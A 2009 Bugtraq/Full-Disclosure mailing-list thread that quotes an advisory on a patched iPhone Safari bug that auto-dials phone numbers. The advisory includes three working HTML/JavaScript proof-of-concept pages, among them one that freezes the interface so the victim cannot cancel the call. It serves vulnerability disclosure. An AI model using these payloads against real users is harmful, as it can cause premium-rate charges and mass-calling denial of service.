[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <4A3A7961.5050703@betaversion.net>
Date: Thu, 18 Jun 2009 19:29:05 +0200
From: Collin Mulliner <collin@...aversion.net>
To: Mike Ely <me@...pehat.com>
Cc: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: Re: iPhone Safari phone-auto-dial vulnerability (original date: Nov.
2008)
Mike,
just getting to the phone dialer is not a bug! That is what the tel:
protocol is for. All most all mobile phones implement this, every time
you open a tel: URL you will get to the dialer in some way.
Collin
Mike Ely wrote:
> Confirmed on the T-Mobile G1 email app running OS version 1.5. Was wondering why my phone stepped on email to dial out when I read this email and then I read the subject line ;)
>
> FWIW, it didn't actually dial, just loaded the dialer with that number ready.
>
> Looks like this is a Webkit bug, not Safari.
>
> Collin Mulliner <collin@...aversion.net> wrote:
>
>> Released since Apple published the iPhone 3.0 security fixes.
>>
>> Vulnerability Report
>>
>> --- BEGIN ADVISORY ---
>>
>> Manufacturer: Apple (www.apple.com)
>> Device: iPhone 3G (iPhone 1st Gen)
>> Firmware: 2.1 (possible earlier versions)
>> Device Type: smart phone
>>
>> Subsystems: Safari (and mobile telephony)
>>
>> -----------------------------
>>
>> Short name:
>> iPhone Safari phone-auto-dial (vulnerability)
>>
>> Vulnerability class:
>> application logic bug
>>
>> Executive Summary:
>> A malicious website can initiate a phone call without the need of user
>> interaction. The destination phone number is chosen by the attacker.
>>
>> Risk: MEDIUM-HIGH
>> Medium to high risk due to the possibility of financial gain through
>> this attack by calling of premium rate numbers (e.g. 1-900 in the
>> U.S.). Denial-of-service against arbitrary phone numbers through
>> mass-calling. User cannot prevent attack.
>>
>> -----------------------------
>>
>> Reporter: Collin Mulliner <collin[AT]mulliner.org>
>>
>> -----------------------------
>>
>> Affiliation: MUlliNER.ORG / the trifinite group / (Fraunhofer SIT)
>>
>> -----------------------------
>>
>> Time line:
>>
>> Oct. 20. 2008: Reported vulnerability to vendor.
>> Oct. 20. 2008: Vendor acknowledges receiving our email.
>> Not commenting on the vulnerability itself.
>> Oct. 27. 2008: Sent update to vendor, also requesting a status report.
>> Oct. 29. 2008: Reply from vendor acknowledging the vulnerability.
>> Oct. 30. 2008: Sent additional information.
>> Nov. 13. 2008: Vender says vulnerability is fixed in upcoming OS
>> version.
>> Nov. 20. 2008: Public disclosure.
>> Jun. 18. 2009: Full-Disclosure.
>>
>> -----------------------------
>>
>> Fix:
>>
>> iPhone OS 2.2
>> iPhone OS 2.2.1
>> iPhone OS 3.0
>>
>> -----------------------------
>>
>> Technical Details:
>>
>> The Safari version running on the iPhone supports handling the TEL [1]
>> protocol through launching the telephony/dialer application. This is
>> done by passing the provided phone number to the telephony
>> application. Under normal conditions, loading a tel: URI results in a
>> message box asking the user's permission to call the given number. The
>> user is presented with the simple choice to either press call or
>> cancel.
>>
>> A TEL URI can be opened automatically if the TEL URI is used as the
>> source of an HTML iframe or frame, as the URL of a meta refresh, as
>> the location of a HTTP 30X redirect, and as the location of the
>> current or a new window using javascript.
>>
>> We discovered a security vulnerability that dismisses the "ask for
>> permission to call" dialog in a way that chooses the "call" option
>> rather than the "cancel" option.
>>
>> This condition occurs if a TEL URI is activated at the same time
>> Safari is closed by launching an external application, for example
>> launching the SMS application (in order to handle a SMS URI [2]). The
>> SMS application can be launched through placing a SMS URI as the
>> source of an iframe. This is shown in the first proof-of-concept
>> exploit below.
>>
>> Further investigation showed that this behavior can be reproduced by
>> launching other applications such as: Maps, YouTube, and iTunes.
>> Launching these applications can be achieved through loading special
>> URLs using the meta refresh tag. This is shown in the second
>> proof-of-concept exploit below.
>>
>> We also discovered that the bug can also be triggered through popup
>> windows (e.g. javascript alert). In this situation the initiating app
>> does not need to be termianted in order to active the call.
>>
>> Finally, we discovered a second bug that can be used to perform
>> malicious phone calls that cannot be prevented or canceled by the
>> victim. This bug allows the attacker to freez the GUI (graphical user
>> interface) for a number of seconds. While the GUI is frozen the call
>> progresses in the background and cannot be stopped by the victim user.
>> Freezing the GUI is achieved by passing a "very long" phone number to
>> the SMS application. The SMS application, immediately after being
>> started, freezes the iPhone GUI. Also switching off the iPhone cannot
>> be performed fast enough in order to prevent the malicious call.
>>
>>
>> [1] http://www.rfc-editor.org/rfc/rfc3966.txt
>> [2] http://tools.ietf.org/html/draft-antti-gsm-sms-url-04
>>
>> -----------------------------
>>
>> Further Discussion:
>>
>> The dialing dialog is clearly shown to the user also the user, in most
>> cases, can't press cancel quick enough in order to stop the initiation
>> of the call. Once the external application is launched, the telephony
>> application is running in the background performing the call. Only
>> the call forwarding dialog (containing the "dismiss" button) indicates
>> a call being made.
>>
>> -----------------------------
>>
>> Proof-of-Concept with plain HTML using the SMS application:
>>
>> <html>
>> <head>
>> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>> </title>
>> </head>
>> <body>
>> <iframe src="sms:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>> <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>> <!-- second iframe is to attack quick users who manage to close the
>> first call-dialog //-->
>> <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>> </body>
>> </html>
>>
>> Proof-of-Concept using javascript and the Maps application:
>>
>> <html>
>> <head>
>> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>> </title>
>> <meta http-equiv="refresh" content="0;
>> URL=http://maps.google.de/maps?q=rheinstrasse+75+darmstadt">
>> </head>
>> <body>
>> <script lang=javascript>
>> function a() {
>> document.write("<iframe src=\"tel:+14089748388\" WIDTH=50
>> HEIGHT=10></iframe>");
>> }
>> setTimeout("a()", 100);
>> </script>
>> </body>
>> </html>
>>
>> Proof-of-Concept attack where the victim user cannot stop the malicious
>> phone call:
>>
>> <html>
>> <head>
>> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>> </title>
>> </head>
>> <body>
>> <script lang=javascript>
>> l = "<iframe src=\"sms:";
>> for (i = 0; i < 10000; i++) {
>> l = l + "3340948034298232";
>> }
>> l = l + "\" width=10 height=10></iframe><iframe
>> src=\"tel:+14089748388\" height=10 width=10></iframe>";
>> document.write(l);
>> </script>
>> </body>
>> </html>
>>
>> -----------------------------
>>
>> More Detailed Information:
>>
>> Demo video available at:
>> http://www.mulliner.org/iphone/
>>
>> Advisories:
>> http://www.mulliner.org/security/advisories/
>>
>> --- END ADVISORY ---
>>
>>
>> --
>> Collin R. Mulliner <collin@...aversion.net>
>> info/pgp: finger collin@...aversion.net
>> If Bill Gates had a nickel for every time Windows crashed... Oh wait, he
>> does!
--
Collin R. Mulliner <collin@...aversion.net>
info/pgp: finger collin@...aversion.net
C gives you enough rope to hang yourself. C++ also gives you the tree
object to tie it to.
Powered by blists - more mailing lists